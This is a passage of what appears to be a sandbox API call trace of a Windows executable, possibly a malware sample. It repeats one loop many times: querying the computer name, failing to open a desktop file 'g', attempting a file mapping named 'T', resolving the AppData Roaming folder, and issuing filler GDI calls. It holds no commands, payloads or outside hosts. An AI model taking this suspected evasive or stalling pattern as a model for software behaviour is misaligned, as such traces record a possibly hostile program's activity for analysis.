nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.103] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.103] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.103] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.103] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.103] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.103] CloseHandle (hObject=0x0) returned 0 [0189.103] CloseHandle (hObject=0xffffffff) returned 1 [0189.103] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.103] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.103] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.103] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.103] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.103] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.103] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.103] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.104] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.104] CloseHandle (hObject=0x0) returned 0 [0189.104] CloseHandle (hObject=0xffffffff) returned 1 [0189.104] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.104] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.104] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.104] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.104] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.104] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.104] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.104] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.104] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.104] CloseHandle (hObject=0x0) returned 0 [0189.104] CloseHandle (hObject=0xffffffff) returned 1 [0189.104] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.104] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.104] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.104] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.104] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.104] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.104] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.104] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.104] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.104] CloseHandle (hObject=0x0) returned 0 [0189.105] CloseHandle (hObject=0xffffffff) returned 1 [0189.105] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.105] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.105] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.105] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.105] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.105] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.105] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.105] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.105] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.105] CloseHandle (hObject=0x0) returned 0 [0189.105] CloseHandle (hObject=0xffffffff) returned 1 [0189.105] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.105] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.105] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.105] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.105] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.105] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.105] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.105] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.105] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.105] CloseHandle (hObject=0x0) returned 0 [0189.105] CloseHandle (hObject=0xffffffff) returned 1 [0189.105] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.106] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.106] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.106] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.106] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.106] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.106] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.106] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.106] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.106] CloseHandle (hObject=0x0) returned 0 [0189.106] CloseHandle (hObject=0xffffffff) returned 1 [0189.106] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.106] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.106] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.106] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.106] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.106] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.106] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.106] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.106] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.106] CloseHandle (hObject=0x0) returned 0 [0189.106] CloseHandle (hObject=0xffffffff) returned 1 [0189.106] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.106] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.106] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.107] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.107] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.107] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.107] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.107] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.107] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.107] CloseHandle (hObject=0x0) returned 0 [0189.107] CloseHandle (hObject=0xffffffff) returned 1 [0189.107] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.107] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.107] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.107] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.107] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.107] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.107] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.107] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.107] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.107] CloseHandle (hObject=0x0) returned 0 [0189.107] CloseHandle (hObject=0xffffffff) returned 1 [0189.107] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.107] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.107] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.107] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.107] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.108] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.108] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.108] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.108] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.108] CloseHandle (hObject=0x0) returned 0 [0189.108] CloseHandle (hObject=0xffffffff) returned 1 [0189.108] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.108] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.108] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.108] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.108] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.108] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.108] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.108] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.108] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.108] CloseHandle (hObject=0x0) returned 0 [0189.108] CloseHandle (hObject=0xffffffff) returned 1 [0189.108] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.108] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.108] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.108] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.108] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.108] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.109] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.109] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.109] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.109] CloseHandle (hObject=0x0) returned 0 [0189.109] CloseHandle (hObject=0xffffffff) returned 1 [0189.109] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.109] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.109] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.109] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.109] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.109] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.109] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.109] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.109] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.109] CloseHandle (hObject=0x0) returned 0 [0189.109] CloseHandle (hObject=0xffffffff) returned 1 [0189.109] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.109] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.109] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.109] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.109] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.109] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.109] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.109] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.109] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.110] CloseHandle (hObject=0x0) returned 0 [0189.110] CloseHandle (hObject=0xffffffff) returned 1 [0189.110] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.110] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.110] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.110] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.110] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.110] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.110] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.110] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.110] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.110] CloseHandle (hObject=0x0) returned 0 [0189.110] CloseHandle (hObject=0xffffffff) returned 1 [0189.110] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.110] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.110] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.110] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.110] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.110] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.110] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.110] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.110] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.110] CloseHandle (hObject=0x0) returned 0 [0189.110] CloseHandle (hObject=0xffffffff) returned 1 [0189.110] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.111] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.111] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.111] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.111] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, 